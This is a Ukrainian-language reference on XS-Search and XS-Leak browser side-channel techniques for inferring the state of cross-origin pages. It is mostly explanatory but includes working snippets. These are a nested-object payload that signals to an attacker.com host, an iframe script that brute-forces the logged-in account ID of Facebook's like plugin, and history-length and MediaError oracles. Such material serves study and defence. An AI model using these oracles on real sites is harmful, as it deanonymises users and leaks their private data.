Основна інформація

XS-Search — це метод, який використовується для витягування cross-origin інформації шляхом використання вразливостей побічного каналу.

Ключові компоненти, задіяні в цій атаці:

  • Vulnerable Web: цільовий вебсайт, з якого планується витяг інформації.
  • Attacker’s Web: зловмисний сайт, створений атакуючим і відвідуваний жертвою, що містить експлойт.
  • Inclusion Method: техніка, яка використовується для включення Vulnerable Web в Attacker’s Web (наприклад, window.open, iframe, fetch, HTML-елемент з href тощо).
  • Техніка Leak: техніки, що використовуються для визначення відмінностей у стані Vulnerable Web на основі інформації, отриманої через inclusion method.
  • Стани: два потенційні стани Vulnerable Web, які атакуючий прагне розрізнити.
  • Виявлені відмінності: спостережувані варіації, на які покладається атакуючий для висновків про стан Vulnerable Web.

Виявлені відмінності

Кілька аспектів можна аналізувати, щоб відрізнити стани Vulnerable Web:

  • Status Code: розрізнення різних HTTP response status codes cross-origin, наприклад помилки сервера, помилки клієнта або помилки автентифікації.
  • API Usage: визначення використання Web API на сторінках, що показує, чи використовує cross-origin сторінка конкретне JavaScript Web API.
  • Redirects: виявлення навігацій на інші сторінки, не лише HTTP-редиректи, а й ті, що викликаються JavaScript або HTML.
  • Page Content: спостереження варіацій у тілі HTTP-відповіді або в підресурсах сторінки, наприклад кількості вкладених фреймів або відмінностей у розмірі зображень.
  • HTTP Header: помічання наявності або можливої величини конкретного HTTP response header, включаючи заголовки такі як X-Frame-Options, Content-Disposition і Cross-Origin-Resource-Policy.
  • Timing: фіксація послідовних часових відмінностей між двома станами.

Методи включення

  • HTML Elements: HTML надає різні елементи для cross-origin resource inclusion, такі як стилі, зображення або скрипти, які змушують браузер запитувати не-HTML ресурс. Підбір потенційних HTML-елементів для цієї мети можна знайти на https://github.com/cure53/HTTPLeaks.
  • Frames: елементи на кшталт iframe, object та embed можуть вбудовувати HTML-ресурси безпосередньо в сторінку атакуючого. Якщо сторінка не має захисту від фреймінгу, JavaScript може отримати доступ до вікна фрейму через властивість contentWindow.
  • Pop-ups: метод window.open відкриває ресурс у новій вкладці або вікні, надаючи window handle для взаємодії JavaScript з методами та властивостями відповідно до SOP. Поп-апи, часто використовувані в single sign-on, обходять обмеження фреймінгу та куків цільового ресурсу. Проте сучасні браузери обмежують створення поп-апів певними діями користувача.
  • JavaScript Requests: JavaScript дозволяє робити прямі запити до цільових ресурсів за допомогою XMLHttpRequests або Fetch API. Ці методи дають точний контроль над запитом, наприклад можливість слідувати за HTTP-редиректами.

Техніки Leak

  • Event Handler: класична техніка в XS-Leaks, де обробники подій, такі як onload і onerror, дають уявлення про успіх або відмову завантаження ресурсу.
  • Error Messages: виключення JavaScript або спеціальні сторінки помилок можуть давати інформацію для leak або шляхом безпосереднього повідомлення про помилку, або через відмінність між його присутністю та відсутністю.
  • Global Limits: фізичні обмеження браузера, такі як обсяг пам’яті або інші накладені ліміти, можуть сигналізувати про досягнення порогу і служити технікою leak.
  • Global State: виявлені взаємодії з глобальними станами браузера (наприклад, інтерфейс History) можуть бути використані. Наприклад, кількість записів в історії браузера може дати підказки про cross-origin сторінки.
  • Performance API: цей API надає деталі продуктивності поточної сторінки, включаючи мережеві таймінги документа та завантажених ресурсів, що дозволяє робити висновки про запитані ресурси.
  • Readable Attributes: деякі HTML-атрибути доступні для читання cross-origin і можуть бути використані як техніка leak. Наприклад, властивість window.frame.length дозволяє JavaScript порахувати фрейми, включені в вебсторінку cross-origin.

XSinator Tool & Paper

XSinator — це автоматизований інструмент для перевірки браузерів на кілька відомих XS-Leaks, що описані в його статті: https://xsinator.com/paper.pdf

Ви можете отримати доступ до інструменту за адресою https://xsinator.com/

Warning

Excluded XS-Leaks: Ми були змушені виключити XS-Leaks, які залежать від service workers, оскільки вони б заважали іншим leak в XSinator. Крім того, ми вирішили виключити XS-Leaks, що залежать від неконфігурації або багів у конкретному веб-застосунку. Наприклад, CrossOrigin Resource Sharing (CORS) misconfigurations, postMessage leakage або Cross-Site Scripting. Додатково ми виключили timebased XS-Leaks, оскільки вони часто є повільними, шумними та неточними.

Техніки на основі таймінгу

Деякі з наведених нижче технік використовують таймінг як частину процесу для виявлення відмінностей у можливих станах веб-сторінок. Існують різні способи вимірювання часу в браузері.

Clocks: API performance.now() дозволяє розробникам отримувати високоточні вимірювання часу.
Існує значна кількість API, якими атакуючі можуть зловживати для створення неявних годинників: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSS-анімації та інші.
Детальніше: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

Техніки обробників подій

Onload/Onerror

Cookie Bomb + Onerror XS Leak

Приклад коду намагається завантажити скрипти та об’єкти через JS, але також можна використовувати інші теги такі як object, стилі, зображення, аудіо тощо. Крім того, можна вставити тег безпосередньо і оголосити події onload та onerror всередині тега (замість інжекції з JS).

Існує також версія цієї атаки без використання скриптів:

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

У цьому випадку якщо example.com/404 не знайдено, буде завантажено attacker.com/?error.

Content-Type/CORB script load oracle

  • Методи включення: HTML Elements (script)
  • Виявлена різниця: Header / Content-Type via onload vs onerror (CORB)
  • Підсумок: Якщо endpoint повертає HTML при збігу і JSON при невідповідності, підвантажте його за допомогою <script src>. HTML тригерить onload; JSON блокується CORB і викликає onerror, даючи Boolean oracle для брутфорсу ідентифікаторів на кшталт __user в межах відомої області.
  • Примітки: Працює cross-origin без читання bodies; корисно для перерахування активного акаунта, коли один tenant ID зафіксований.

postMessage vs X-Frame-Options deny oracle

  • Методи включення: Frames
  • Виявлена різниця: Header (XFO) + postMessage presence/absence
  • Підсумок: Деякі widgets відправляють postMessage батьківському вікну після завантаження. Якщо запит відкривають у фреймі з неправильним ідентифікатором, сервер може відповісти з X-Frame-Options: deny, що заважає рендерінгу і, отже, повідомлення не буде надіслано. Встановивши для iframe src кандидатський ID, очікуючи на подію message (успіх) і трактуючи таймаут/відсутність повідомлення як невдачу, можна брутфорсити активний акаунт.
  • Мінімальний приклад:
<iframe id=fb width=0 height=0></iframe>
<script>
function test(id){
fb.src=`https://www.facebook.com/plugins/like.php?__a=1&__user=${id}`;
return new Promise(r=>{
const t=setTimeout(()=>r(false),2000);
onmessage=()=>{clearTimeout(t);r(true);}
});
}
</script>

Iframe Traps

для додаткових проблем з повідомленнями/iframe.

Onload Timing

performance.now example

Onload Timing + Forced Heavy Task

This technique is just like the previous one, but the attacker will also force some action to take a relevant amount time when the answer is positive or negative and measure that time.

performance.now + Force heavy task

unload/beforeunload Timing

Час, витрачений на завантаження ресурсу, можна виміряти, використовуючи події unload та beforeunload. Подія beforeunload спрацьовує, коли браузер збирається перейти на іншу сторінку, тоді як unload відбувається під час фактичної навігації. Різницю в часі між цими двома подіями можна обчислити, щоб визначити тривалість, яку браузер витратив на отримання ресурсу.

Sandboxed Frame Timing + onload

Спостерігалося, що за відсутності Framing Protections, зловмисник може виміряти час, необхідний для завантаження сторінки та її субресурсів по мережі. Це вимірювання зазвичай можливе тому, що обробник onload в iframe викликається лише після завершення завантаження ресурсів і виконання JavaScript. Щоб уникнути мінливості, викликаної виконанням скриптів, зловмисник може використовувати атрибут sandbox у <iframe>. Додавання цього атрибуту обмежує багато функціональностей, зокрема виконання JavaScript, що дозволяє отримати вимірювання, яке переважно залежить від мережевої продуктивності.

// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + error + onload

  • Методи включення: Frames
  • Відмінність, яку можна виявити: Page Content
  • Детальніше:
  • Підсумок: Якщо ви можете спричинити помилку на сторінці при доступі до правильного контенту і змусити її завантажуватися коректно при доступі до будь-якого іншого контенту, то можна побудувати цикл для витягання всієї інформації без вимірювання часу.
  • Приклад коду:

Припустимо, що ви можете вставити сторінку, яка містить секретний контент всередину Iframe.

Ви можете змусити жертву шукати файл, що містить “flag” за допомогою Iframe (наприклад, експлуатуючи CSRF). Усередині Iframe відомо, що подія onload буде виконана щонайменше один раз. Далі ви можете змінювати URL iframe, змінюючи лише вміст частини hash у URL.

Наприклад:

  1. URL1: www.attacker.com/xssearch#try1
  2. URL2: www.attacker.com/xssearch#try2

Якщо перший URL був успішно завантажений, то при зміні частини hash подія onload не спрацює знову. Але якщо сторінка мала якусь помилку під час завантаження, то подія onload буде викликана знову.

Таким чином ви можете розрізнити, чи сторінка коректно завантажилася або має помилку при доступі.

Javascript Execution

  • Методи включення: Frames
  • Відмінність, яку можна виявити: Page Content
  • Детальніше:
  • Підсумок: Якщо сторінка повертає чутливий контент або контент, який можна контролювати користувачем. Користувач може встановити дійсний JS код у негативному випадку, завантажуючи кожну спробу всередині тегів <script>, тож у негативних випадках код атакуючого виконається, а в позитивних випадках нічого не буде виконано.
  • Приклад коду:

JavaScript Execution XS Leak

CORB - Onerror

  • Методи включення: HTML Elements
  • Відмінність, яку можна виявити: Status Code & Headers
  • Детальніше: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • Підсумок: Cross-Origin Read Blocking (CORB) — це механізм безпеки, який забороняє веб-сторінкам завантажувати певні чутливі крос-оріджн ресурси для захисту від атак типу Spectre. Проте атакувальники можуть експлуатувати його захисну поведінку. Коли відповідь, підлягаюча CORB, повертає CORB protected Content-Type з nosniff і статус-кодом 2xx, CORB обрізає тіло відповіді та заголовки. Атакувальники, які це спостерігають, можуть інтерпретувати поєднання status code (вказує на успіх або помилку) і Content-Type (показує, чи захищено CORB), що може призвести до потенційного розкриття інформації.
  • Приклад коду:

Перегляньте посилання “More info” для додаткових відомостей про атаку.

onblur

Можна завантажити сторінку всередину iframe і використати #id_value, щоб змусити сторінку фокусуватися на елементі iframe з вказаним id; якщо спрацює сигнал onblur, елемент з таким ID існує.
Ту ж атаку можна виконати з тегами portal.

postMessage Broadcasts

  • Методи включення: Frames, Pop-ups
  • Відмінність, яку можна виявити: API Usage
  • Детальніше: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • Підсумок: Збирати чутливу інформацію з postMessage або використовувати наявність postMessages як орекл, щоб дізнатися стан користувача на сторінці.
  • Приклад коду: Any code listening for all postMessages.

Додатки часто використовують postMessage broadcasts для комунікації між різними origin. Проте цей метод може ненавмисно розкрити чутливу інформацію, якщо параметр targetOrigin неправильно вказаний, дозволяючи будь-якому вікну отримувати повідомлення. Крім того, саме отримання повідомлення може виступати як oracle; наприклад, деякі повідомлення можуть відправлятися лише користувачам, що залогінені. Отже, наявність або відсутність таких повідомлень може відкривати інформацію про стан або ідентичність користувача, наприклад, чи аутентифікований він.

Global Limits Techniques

WebSocket API

Можна визначити, чи і скільки WebSocket connections використовує цільова сторінка. Це дозволяє атакуючому виявляти стани додатка та отримувати інформацію, пов’язану з кількістю WebSocket з’єднань.

Якщо один origin використовує максимальну кількість об’єктів WebSocket, незалежно від стану їхніх з’єднань, створення нових об’єктів призведе до виключень JavaScript. Для виконання цієї атаки сайт атакуючого відкриває цільовий сайт у поп-апі або iframe і після завантаження цільового веба намагається створити максимальну можливу кількість WebSocket з’єднань. Кількість викинутих виключень — це кількість WebSocket з’єднань, які використовує вікно цільового сайту.

Payment API

Цей XS-Leak дозволяє атакуючому виявити, коли крос-оріджн сторінка ініціює payment request.

Оскільки лише один payment request може бути активним одночасно, якщо цільовий сайт використовує Payment Request API, будь-які подальші спроби показати цей API зазнають невдачі і спричинять виключення JavaScript. Атакуючий може періодично намагатися відкрити UI Payment API. Якщо одна з таких спроб спричинить виключення, цільовий сайт наразі його використовує. Атакуючий може приховати ці періодичні спроби, одразу закриваючи UI після створення.

Timing the Event Loop

  • Методи включення:
  • Відмінність, яку можна виявити: Timing (зазвичай внаслідок Page Content, Status Code)
  • Детальніше: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop
  • Підсумок: Виміряти час виконання коду веба, зловживаючи однопотоковим JS event loop.
  • Приклад коду:

Event Loop Blocking + Lazy images

JavaScript працює на основі single-threaded event loop моделі конкурентності, що означає — виконується лише одне завдання одночасно. Ця особливість може бути використана для оцінки скільки часу займає виконання коду з іншого origin. Атакуючий може вимірювати час виконання власного коду в event loop, постійно відправляючи події з фіксованими властивостями. Ці події будуть оброблені, коли пул подій стане порожнім. Якщо й інші origin надсилають події в той самий пул, атакуючий може вивести час виконання цих зовнішніх подій, спостерігаючи затримки в виконанні своїх завдань. Моніторинг event loop на предмет затримок може розкрити час виконання коду з інших origin, потенційно виявляючи чутливу інформацію.

Warning

В експлуатації timing-атак можна усунути мережеві фактори, щоб отримати більш точні вимірювання. Наприклад, завантаживши ресурси, що використовуються сторінкою, до її завантаження.

Busy Event Loop

  • Методи включення:
  • Відмінність, яку можна виявити: Timing (зазвичай внаслідок Page Content, Status Code)
  • Детальніше: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
  • Підсумок: Один із методів вимірювання часу виконання веб-операції полягає в навмисній блокуванні event loop потоку і подальшому вимірюванні скільки часу потрібно, щоб event loop знову став доступним. Вставивши блокуючу операцію (наприклад, довгий обчислювальний цикл або синхронний виклик API) у event loop і відстежуючи час до початку виконання наступного коду, можна зробити висновки про тривалість завдань, що виконувалися в event loop під час блокування. Ця техніка спирається на однопотокову природу JavaScript і може дати уявлення про продуктивність або поведінку інших операцій, що ділять той самий потік.
  • Приклад коду:

Важлива перевага техніки вимірювання часу шляхом блокування event loop — її потенціал обходити Site Isolation. Site Isolation — це функція безпеки, яка розділяє сайти на окремі процеси, щоб запобігти прямому доступу шкідливих сайтів до чутливих даних інших сайтів. Проте, впливаючи на час виконання іншого origin через спільний event loop, атакуючий може опосередковано витягувати інформацію про дії того origin. Цей метод не покладається на прямий доступ до даних іншого origin, а спостерігає вплив його активності на спільний event loop, обходячи захисні бар’єри Site Isolation.

Warning

В експлуатації timing-атак можна усунути мережеві фактори, щоб отримати більш точні вимірювання. Наприклад, завантаживши ресурси, що використовуються сторінкою, до її завантаження.

Connection Pool

  • Методи включення: JavaScript Requests
  • Відмінність, яку можна виявити: Timing (зазвичай внаслідок Page Content, Status Code)
  • Детальніше: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • Підсумок: Атакуючий може зайняти всі сокети, окрім одного, завантажити цільовий веб і одночасно завантажити іншу сторінку; затримка до початку завантаження останньої сторінки — це час, який зайняло завантаження цільової.
  • Приклад коду:

Connection Pool Examples

Браузери використовують сокети для комунікації з серверами, але через обмежені ресурси ОС і апаратного забезпечення браузери змушені накладати ліміти на кількість одночасних сокетів. Атакуючі можуть експлуатувати це обмеження наступним чином:

  1. Визначити ліміт сокетів браузера, наприклад, 256 глобальних сокетів.
  2. Заблокувати 255 сокетів на тривалий час, ініціювавши 255 запитів до різних хостів, налаштованих так, щоб утримувати з’єднання відкритими.
  3. Використати 256-й сокет для запиту до цільової сторінки.
  4. Спробувати зробити 257-й запит до іншого хоста. Оскільки всі сокети зайняті (кроки 2 і 3), цей запит буде поставлений в чергу до звільнення сокета. Затримка перед просуванням цього запиту дає атакуючому інформацію таймінгу про мережеву активність, пов’язану з 256-м сокетом (сокетом цільової сторінки). Це можливо, бо 255 сокетів із кроку 2 все ще зайняті, отже будь-який звільнений сокет має походити від кроку 3. Час до звільнення 256-го сокета пов’язаний із часом, потрібним для завершення запиту до цільової сторінки.

Детальніше: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

Connection Pool by Destination

  • Методи включення: JavaScript Requests
  • Відмінність, яку можна виявити: Timing (зазвичай внаслідок Page Content, Status Code)
  • Детальніше:
  • Підсумок: Схожа техніка до попередньої, але Google Chrome накладає ліміт 6 concurrent requests до одного origin. Якщо ми блокувємо 5 і потім запускаємо 6-й запит, ми можемо замірувати його час; якщо вдасться змусити жертву відправити більше запитів до того ж endpoint, щоб виявити стан сторінки, 6-й запит буде йти довше, і це можна виявити.

Performance API Techniques

The Performance API пропонує інструменти для отримання метрик продуктивності веб-додатків, доповнені Resource Timing API. Resource Timing API дозволяє відстежувати детальні таймінги мережевих запитів, наприклад тривалість запитів. Особливо, коли сервери включають заголовок Timing-Allow-Origin: * у свої відповіді, стає доступною додаткова інформація, така як розмір передачі і час DNS-пошуку.

Ці дані можна отримати через методи на кшталт performance.getEntries або performance.getEntriesByName, що дає повне уявлення про пов’язані з продуктивністю дані. Додатково API дозволяє вимірювати час виконання, віднімаючи відмітки часу, отримані через performance.now(). Проте варто враховувати, що для деяких операцій у браузерах типу Chrome точність performance.now() може бути обмежена мілісекундами, що впливає на деталізацію вимірювань.

Окрім вимірювань часу, Performance API можна використовувати для отримання безпекових підказок. Наприклад, наявність або відсутність сторінок в об’єкті performance у Chrome може свідчити про застосування X-Frame-Options. Конкретно, якщо сторінка заблокована від відображення в фреймі через X-Frame-Options, вона не буде записана в performance об’єкт, що дає тонку підказку про політику фреймінгу сторінки.

Error Leak

Можна відрізнити HTTP response status codes, бо запити, що ведуть до помилки, не створюють запису в Performance API.

Style Reload Error

У попередній техніці також виявлено два випадки, де бага в GC призводить до подвійного завантаження ресурсів при їх невдалому завантаженні. Це призводить до множинних записів у Performance API і може бути виявлено.

Request Merging Error

Техніка згадується в таблиці в згаданій праці, але там немає опису самої техніки. Проте можна знайти вихідний код, що перевіряє її, за посиланням https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak

Empty Page Leak

Атакуючий може виявити, чи запит призвів до порожнього HTTP response body, тому що empty pages не створюють запису в Performance API в деяких браузерах.

XSS-Auditor Leak

  • Методи включення: Frames
  • Відмінність, яку можна виявити: Page Content
  • Детальніше: https://xsinator.com/paper.pdf (5.2)
  • Підсумок: Використовуючи XSS Auditor у Security Assertions, атакувальники можуть виявляти певні елементи сторінки, спостерігаючи зміни в відповідях, коли crafted payloads тригерять механізм фільтрації аудитора.
  • Приклад коду: https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak

У Security Assertions (SA) XSS Auditor, спочатку призначений для запобігання Cross-Site Scripting (XSS), іронічно може бути використаний для leak чутливих даних. Хоча ця вбудована функція була видалена з Google Chrome (GC), вона досі присутня в SA. У 2013 році Braun і Heiderich показали, що XSS Auditor може випадково блокувати легітимні скрипти, спричиняючи false positives. На цьому базувалися техніки витягання інформації і виявлення конкретного контенту на крос-оріджн сторінках, концепція, відома як XS-Leaks, яку спочатку описав Terada і розширив Heyes у блозі. Хоча ці техніки були специфічні для XSS Auditor у GC, було виявлено, що в SA сторінки, заблоковані XSS Auditor, не генерують записів у Performance API, що дає спосіб, яким чутлива інформація все ще може бути leaked.

X-Frame Leak

Якщо сторінці не дозволено відображатися в iframe, вона не створює запису в performance. Внаслідок цього атакуючий може виявити наявність заголовка X-Frame-Options.
Те ж саме трапляється при використанні тегу embed.

Download Detection

Схоже на описану XS-Leak: ресурс, який завантажується через заголовок ContentDisposition, також не створює запису в Performance API. Ця техніка працює в усіх основних браузерах.

Redirect Start Leak

Ми знайшли приклад XS-Leak, що зловживає поведінкою деяких браузерів, які логують надто багато інформації для крос-оріджн запитів. Стандарт визначає підмножину атрибутів, які мають бути обнулені для крос-оріджн ресурсів. Проте в SA можна виявити, чи користувач перенаправлявся цільовою сторінкою, запитавши Performance API і перевіривши redirectStart timing data.

Duration Redirect Leak

У GC значення duration для запитів, що призвели до redirect, є негативним і тому може бути відокремлене від запитів без redirect.

CORP Leak

В деяких випадках запис nextHopProtocol може бути використаний як техніка leak. У GC, коли встановлено заголовок CORP, поле nextHopProtocol буде порожнім. Зверніть увагу, що SA взагалі не створює запису performance для ресурсів з увімкненим CORP.

Service Worker

Service workers — це скриптові контексти, орієнтовані на події, що виконуються на origin. Вони працюють у фоні сторінки і можуть перехоплювати, модифікувати та кешувати ресурси для створення офлайн веб-застосунків.
Якщо ресурс, закешований service worker, доступається через iframe, ресурс буде завантажено з кешу service worker.
Щоб визначити, чи ресурс був завантажений з кешу service worker, можна використати Performance API.
Це також може бути зроблено за допомогою timing-атаки (див. папір для деталей).

Cache

Використовуючи Performance API, можна перевірити, чи ресурс знаходиться в кеші.

Network Duration

Error Messages Technique

Media Error

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false)
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg
}

function startup() {
let audioElement = document.getElementById("audio")
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener(
"click",
function () {
audioElement.src = document.getElementById("testUrl").value
},
false
)
// Create the event handler
var errHandler = function () {
let err = this.error
let message = err.message
let status = ""

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if (
message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1 ||
message.indexOf("Failed to init decoder") != -1
) {
status = "Success"
} else {
status = "Error"
}
displayErrorMessage(
"<strong>Status: " +
status +
"</strong> (Error code:" +
err.code +
" / Error Message: " +
err.message +
")<br>"
)
}
audioElement.onerror = errHandler
}

The MediaError interface’s message property однозначно ідентифікує ресурси, які завантажуються успішно, за допомогою унікального рядка. Атакуючий може експлуатувати цю властивість, спостерігаючи вміст повідомлення і таким чином визначати статус відповіді cross-origin ресурсу.

CORS Error

  • Методи включення: Fetch API
  • Детектована різниця: Header
  • Детальніше: https://xsinator.com/paper.pdf (5.3)
  • Підсумок: У Security Assertions (SA) повідомлення про помилки CORS ненавмисно розкривають повний URL перенаправлених запитів.
  • Приклад коду: https://xsinator.com/testing.html#CORS%20Error%20Leak

Ця техніка дозволяє атакуючому витягнути призначення redirect’у cross-origin сайту, експлуатуючи те, як Webkit-based browsers обробляють CORS-запити. Конкретно, коли CORS-enabled request відправляється на цільовий сайт, який виконує redirect залежно від стану користувача, і браузер потім відмовляє в запиті, повний URL цілі redirect’у виявляється у повідомленні про помилку. Ця вразливість не лише виявляє сам факт redirect’у, але й розкриває endpoint redirect’у та будь-які чутливі query parameters, які він може містити.

SRI Error

  • Методи включення: Fetch API
  • Детектована різниця: Header
  • Детальніше: https://xsinator.com/paper.pdf (5.3)
  • Підсумок: У Security Assertions (SA) повідомлення про помилки CORS ненавмисно розкривають повний URL перенаправлених запитів.
  • Приклад коду: https://xsinator.com/testing.html#SRI%20Error%20Leak

Атакуючий може експлуатувати verbose error messages, щоб вивести розмір cross-origin відповідей. Це стається через механізм Subresource Integrity (SRI), який використовує integrity attribute для валідації, що fetched ресурси (часто з CDN) не були змінені. Для роботи SRI на cross-origin ресурсах вони мають бути CORS-enabled; інакше їх не перевіряють за integrity. У Security Assertions (SA), так само як і в CORS error XS-Leak, повідомлення про помилку може бути отримане після невдалого fetch-запиту з integrity attribute. Атакуючі можуть навмисно викликати цю помилку, задавши bogus hash value в integrity attribute будь-якого запиту. У SA отримане повідомлення про помилку ненавмисно розкриває content length запитуваного ресурсу. Це витік інформації дозволяє атакуючому бачити відмінності в розмірах відповіді, відкриваючи шлях для складніших XS-Leak атак.

CSP Violation/Detection

XS-Leak може використовувати CSP, щоб визначити, чи cross-origin сайт був перенаправлений на інший origin. Цей leak може детектувати redirect, а також домен цілі redirect’у витікає. Ідея атаки: дозволити цільовий домен на сайті атакуючого. Після відправлення запиту на цільовий домен він redirect’иться на cross-origin домен. CSP блокує доступ до нього і створює violation report, який використовується як leak technique. Залежно від браузера, this report may leak the target location of the redirect.
Сучасні браузери не завжди вказують URL, куди відбулося перенаправлення, але можна все одно детектувати, що відбулося cross-origin redirect.

Cache

Браузери можуть використовувати спільний cache для всіх сайтів. Незалежно від origin, можливо визначити, чи цільова сторінка запитувала певний file.

Якщо сторінка завантажує зображення тільки коли користувач залогінений, ви можете invalidate ресурс (щоб він більше не зберігався в cache, див. посилання вище), виконати запит, який міг би завантажити цей ресурс, і спробувати завантажити ресурс з некоректним запитом (наприклад, з наддовгим referer header). Якщо завантаження ресурсу не спричинило помилку, це означає, що він був cached.

CSP Directive

Нова можливість у Google Chrome (GC) дозволяє веб-сторінкам пропонувати Content Security Policy (CSP) шляхом встановлення атрибуту на елементі iframe, при цьому директиви політики передаються разом з HTTP-запитом. Зазвичай вбудований контент має авторизувати це через HTTP header, або показується error page. Проте якщо iframe вже керується CSP і запропонована політика не є більш суворою, сторінка завантажиться нормально. Цей механізм відкриває шлях для атакуючого щоб детектувати конкретні CSP directives cross-origin сторінки, ідентифікуючи error page. Хоч ця вразливість була позначена як виправлена, наші знахідки показують нову leak technique, яка здатна детектувати error page, натякаючи, що базова проблема не була повністю вирішена.

CORP

CORP header — відносно нова можливість веб-платформи безпеки, яка блокує no-cors cross-origin requests до заданого ресурсу. Наявність цього header’а можна детектувати, тому що ресурс, захищений CORP, буде кидати помилку при fetch.

CORB

Перегляньте посилання для детальнішої інформації про атаку.

CORS error on Origin Reflection misconfiguration

Якщо Origin header відображається в заголовку Access-Control-Allow-Origin, атакуючий може зловживати цією поведінкою, намагаючись fetch ресурс у CORS режимі. Якщо помилка не виникає, це означає, що ресурс був правильно отриманий з мережі; якщо виникає помилка, це тому, що він був отриманий із cache (помилка з’являється, бо cache зберігає відповідь з CORS header, що дозволяє оригінальний домен, а не домен атакуючого).
Зверніть увагу, що якщо origin не відображається, але використовується wildcard (Access-Control-Allow-Origin: *), це не спрацює.

Readable Attributes Technique

Fetch Redirect

Надсилаючи запит через Fetch API з redirect: "manual" та іншими параметрами, можна прочитати атрибут response.type, і якщо він дорівнює opaqueredirect, то відповідь була redirect.

COOP

Атакуючий може визначити наявність заголовка Cross-Origin Opener Policy (COOP) у cross-origin HTTP відповіді. COOP використовується для запобігання отримання довільних window references з зовнішніх сайтів. Видимість цього header’а можна визначити, намагаючись отримати contentWindow reference. У випадках, коли COOP застосовується умовно, властивість opener стає показовим індикатором: вона буде undefined коли COOP активний, і defined, коли його немає.

URL Max Length - Server Side

Якщо server-side redirect використовує user input всередині redirect’у і додає додаткові дані, можливо виявити таку поведінку, бо зазвичай servers мають обмеження на довжину запиту. Якщо user data близька до цього ліміту, а redirect додає ще щось зверху, це може викликати помилку, детектовану через Error Events.

Якщо ви якось можете встановити cookies для користувача, ви також можете виконати атаку, встановивши достатньо cookies (cookie bomb), щоб через збільшений розмір response правильна відповідь спричинила помилку. У цьому випадку пам’ятайте, що якщо ви викликаєте цей запит з того ж сайту, <script> автоматично відправить cookies (тому можна перевіряти помилки).
Приклад поєднання cookie bomb + XS-Search можна знайти в Intended solution цього writeup: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

Для такого типу атаки зазвичай потрібен SameSite=None або щоб cookie були в тому ж контексті.

URL Max Length - Client Side

Згідно з документацією Chromium, максимальна довжина URL у Chrome — 2MB.

Загалом web platform не накладає жорстких обмежень на довжину URL (хоча 2^31 є поширеним лімітом). Chrome обмежує URL розміром до 2MB з практичних причин та щоб уникнути DoS проблем в міжпроцесній комунікації.

Отже, якщо redirect URL відповіді буде більшим у одному з випадків, можна змусити його redirect’итись на URL більший за 2MB, щоб потрапити в межу довжини. Коли це відбувається, Chrome показує сторінку about:blank#blocked.

Помітна різниця: якщо redirect було виконано, window.origin викличе помилку, бо cross-origin не можна отримати цю інформацію. Однак якщо було досягнуто ліміту і завантажена сторінка була about:blank#blocked, origin вікна залишиться origin батьківської сторінки і буде доступною інформацією.

Усі додаткові дані, потрібні, щоб досягти 2MB, можна додати через hash в початковому URL, щоб вони були використані в redirect’і.

URL Max Length - Client Side

Max Redirects

Якщо максимальна кількість redirect’ів, які браузер слідкує — 20, атакуючий може спробувати завантажити свою сторінку з 19 redirects і нарешті відправити жертву на тестовану сторінку. Якщо виникає помилка, значить сторінка намагалася redirect’нути жертву.

History Length

History API дозволяє JavaScript маніпулювати browser history, яка зберігає сторінки, відвідані користувачем. Атакуючий може використати властивість length як метод включення: детектувати JavaScript і HTML навігацію.
Перевірка history.length, змусити користувача перейти на сторінку, повернутися назад у same-origin і перевірити нове значення history.length.

History Length with same URL

  • Методи включення: Frames, Pop-ups
  • Детектована різниця: If URL is the same as the guessed one
  • Підсумок: Можна вгадати, чи знаходиться frame/pop-up на конкретному URL, зловживаючи history length.
  • Приклад коду: Нижче

Атакуючий може використати JavaScript, щоб змінити місцезнаходження frame/pop-up на вгаданий URL і одразу після цього змінити його на about:blank. Якщо history length збільшився, це означає, що URL був правильним і встиг збільшити історію (бо URL не перезавантажується, якщо він такий самий). Якщо не збільшився — це означає, що спробували завантажити вгаданий URL, але ми одразу після цього завантажили about:blank, тому history length ніколи не збільшився при завантаженні вгаданого URL.

async function debug(win, url) {
win.location = url + "#aaa"
win.location = "about:blank"
await new Promise((r) => setTimeout(r, 500))
return win.history.length
}

win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=c"))

win.close()
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=b"))

Frame Counting

Підрахунок кількості frames на сторінці, відкритої через iframe або window.open, може допомогти визначити стан користувача щодо цієї сторінки.
Крім того, якщо на сторінці завжди однакова кількість frames, постійна перевірка кількості frames може виявити патерн, який може leak інформацію.

Приклад цієї техніки: у Chrome PDF можна виявити за допомогою frame counting, оскільки внутрішньо використовується embed. Існують Open URL Parameters, що дозволяють частково контролювати вміст (наприклад zoom, view, page, toolbar), де ця техніка може бути корисною.

HTMLElements

Витоки інформації через HTML elements становлять проблему в веб-безпеці, особливо коли динамічні медіа-файли генеруються на основі даних користувача або коли додаються водяні знаки, що змінюють розміри медіа. Це може бути використано нападниками для розрізнення можливих станів шляхом аналізу інформації, яку надають певні HTML елементи.

Інформація, що розкривається через HTML Elements

  • HTMLMediaElement: Цей елемент розкриває duration та buffered часи медіа, до яких можна звертатись через його API. Read more about HTMLMediaElement
